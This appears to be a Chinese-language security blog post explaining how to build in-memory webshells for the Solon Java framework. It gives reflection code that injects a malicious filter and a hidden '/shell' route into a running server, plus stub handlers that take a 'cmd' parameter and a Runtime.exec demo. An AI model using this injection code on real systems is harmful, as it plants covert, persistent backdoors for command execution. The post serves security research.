Solon内存马构造
海口深情大王 发表于 广东 WEB安全 157浏览 · 2025-01-05 09:36

简介
Solon是Java “新的”应用开发框架,类似Spring boot ,号称Java “纯血国产”应用开发框架,面向全场景的 Java 应用开发框架:克制、高效、开放、生态。
官网地址:https://solon.noear.org
通过官网提供的案例快速搭建,下载https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&project=maven&javaVer=1.8安装包导入idea即可:

因为是构造内存马,所以必须得了解整个请求处理过程,如下是官网提供的图:

可以看到Web处理会经过四个路段:过滤器(Filter)->路由拦截器(RouterInterceptor)->处理器(Handler)->拦截器(Interceptor),下面从Filter和Handler两个方面入手构造一下内存马(RouterInterceptor的构造与Filter的构造类似)
首先实现简单Filter只在后台打印信息:

从debug信息来看this.filterNodes中已经存储了自定义的filter信息:

看add这个filter信息的方法在哪里,可以看到这个filterNodes是ChainManager的一个属性,跟进ChainManager中,可以看到有定义了addFilter和addFilterIfAbsent,在addFilter中下断,重新执行程序发现可以断点:

addFilter中传参,第一个为自定义的filter,第二个为index
那到此,只要能获取到内存中的ChainManager对象就可以调用该方法了,使用java-object-searcher https://github.com/c0ny1/java-object-searcher 编写代码:

List<Keyword> keys = new ArrayList<>();  
keys.add(new Keyword.Builder().setField_type("_chainManager").build());  
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);  
searcher.setIs_debug(true);  
searcher.setMax_search_depth(20);  
searcher.setReport_save_path("C:\\Users\\XXX\\Desktop\\demo");  
searcher.searchObject();

这里注意到org.noear.solon.boot.smarthttp.http.SmHttpContext这个对象,这实际上就是官网上提供的可以通过

Context ctx = Context.current();

获取的请求上下文对象:

那接下来就简单了,直接用请求上下文对象再反射调用到ChainManager即可。
代码:

@Mapping("/addfiltermemshell")
    public String addFiltermemshell() throws Exception {
        Context context = Context.current();
        Class<?> superclass = context.getClass().getSuperclass().getSuperclass();
        Field attrMap = superclass.getDeclaredField("attrMap");
        attrMap.setAccessible(true);
        Map o = (Map) attrMap.get(context);

        Object actiondefault = o.get("ATTR_MAIN_HANDLER");
        Class<?> aClass = actiondefault.getClass();
        Field bWrap = aClass.getDeclaredField("bWrap");
        bWrap.setAccessible(true);
        Object o1 = bWrap.get(actiondefault);

        Class<?> aClass1 = o1.getClass();
        Field context1 = aClass1.getDeclaredField("context");
        context1.setAccessible(true);
        Object o2 = context1.get(o1);

        Class<?> aClass2 = o2.getClass().getSuperclass();
        Field app = aClass2.getDeclaredField("app");
        app.setAccessible(true);
        Object o3 = app.get(o2);

        Class<?> aClass3 = o3.getClass().getSuperclass();
        Field chainManager = aClass3.getDeclaredField("_chainManager");
        chainManager.setAccessible(true);
        ChainManager o4 = (ChainManager) chainManager.get(o3);
         o4.addFilter(new EvilFilter(),0);

        return "Filtermemshell add successfully!";
    }

恶意Filter:

public class EvilFilter implements Filter {
    @Override
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {
        System.out.println("this is a evilfilter!");
        chain.doFilter(ctx);
    }
}

这里没有加@Component,避免被直接加载

在获取到ChainManager后,也可以调用其他接口RouterInterceptor、ActionExecuteHandler、ActionReturnHandler去注册,

这里照着官方文档写出恶意实现类,注册逻辑基本一样,不单独列出了:
EvilActionReturnHandler:

public class EvilActionReturnHandler implements ActionReturnHandler {
    @Override
    public boolean matched(Context ctx, Class<?> returnType) {

        return true;
    }

    @Override
    public void returnHandle(Context ctx, Action action, Object returnValue) throws Throwable {
        String cmd = ctx.param("cmd");//传参
        //具体逻辑
    }
}

EvilActionExecuteHandler:

public class EvilActionExecuteHandler implements ActionExecuteHandler {
    @Override
    public boolean matched(Context ctx, String mime) {

        String cmd = ctx.param("cmd");
        //具体逻辑
//        Runtime.getRuntime().exec("cmd")
        return false;
    }

    @Override
    public Object[] resolveArguments(Context ctx, Object target, MethodWrap mWrap) throws Throwable {
        return new Object[0];
    }

    @Override
    public Object executeHandle(Context ctx, Object target, MethodWrap mWrap) throws Throwable {
        return null;
    }
}

EvilRouterInterceptor:

public class EvilRouterInterceptor implements RouterInterceptor {
    @Override
    public PathRule pathPatterns() {
        return new PathRule().include("/cmd");
    }

    @Override
    public void doIntercept(Context ctx, Handler mainHandler, RouterInterceptorChain chain) throws Throwable {
        String cmd = ctx.param("cmd");
        //具体逻辑
        chain.doIntercept(ctx,mainHandler);
    }

}

下面回头来看一下,路由的值是如何与Controller匹配的
在其中一个路由处打上断点,翻下调用栈发现了存储路由的变量:

可以看到是一个RouterDefault内的一个table变量承载这些信息,直接跟进到RouterDefault定义,发现有很多添加相关的函数add,索性把全部add函数都打上断点,然后重新运行一下:

发现最终是调用org.noear.solon.core.route.RouterDefault#add(java.lang.String, org.noear.solon.core.handle.MethodType, int, org.noear.solon.core.handle.Handler)去添加

那么可以通过java-object-searcher直接获取这个变量,调用其add接口,或者再反射调用table变量直接add添加,这里就直接调用add接口,这里参数MethodType和Handler,MethodType传MethodType.ALL,Handler在这里的实现类是ActionDefault,其构造方法需要BeanWrap对象和恶意类的Method对象,这里可以是实现类的某个具体方法:

BeanWrap的构造方法:

这里的context也可以通过请求上下文获取

那么逻辑就清晰了,将上述对象构造完,再调用刚才的add接口即可,使用java-object-searcher搜索

这里可以看到直接搜到了AppContext和RouterDefault变量,那么接下来代码实现:

@Mapping("/addcontrollermemshell")
    public String addcontrollermemshell() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException {

        Context context = Context.current();
        Class<?> superclass = context.getClass().getSuperclass().getSuperclass();
        Field attrMap = superclass.getDeclaredField("attrMap");
        attrMap.setAccessible(true);
        Map o = (Map) attrMap.get(context);

        Object actiondefault = o.get("ATTR_MAIN_HANDLER");
        Class<?> aClass = actiondefault.getClass();
        Field bWrap = aClass.getDeclaredField("bWrap");
        bWrap.setAccessible(true);
        Object o1 = bWrap.get(actiondefault);

        Class<?> aClass1 = o1.getClass();
        Field context1 = aClass1.getDeclaredField("context");
        context1.setAccessible(true);
        AppContext o2 = (AppContext) context1.get(o1);

        Class<?> aClass2 = o2.getClass().getSuperclass();
        Field app = aClass2.getDeclaredField("app");
        app.setAccessible(true);
        Object o3 = app.get(o2);

        Class<?> aClass3 = o3.getClass().getSuperclass();
        Field chainManager = aClass3.getDeclaredField("_router");
        chainManager.setAccessible(true);
        RouterDefault o4 = (RouterDefault) chainManager.get(o3);


        BeanWrap beanWrap = new BeanWrap(o2,Evil.class);
        Method shell = Evil.class.getDeclaredMethod("shell");
        ActionDefault actionDefault = new ActionDefault(beanWrap,shell);
        o4.add("/shell",MethodType.ALL,0,actionDefault);

        return "controllermemshell added successfully!";
    }

Evil类
public class Evil {
    public void shell() throws IOException {
        Runtime.getRuntime().exec("calc");
        //具体逻辑
    }
}


参考:
https://xz.aliyun.com/t/15273?time__1311=GqjxnD0D2DRDcDIx05bfDyD1GCiALRKuGhpD

0 条评论
某人
表情
可输入 255
目录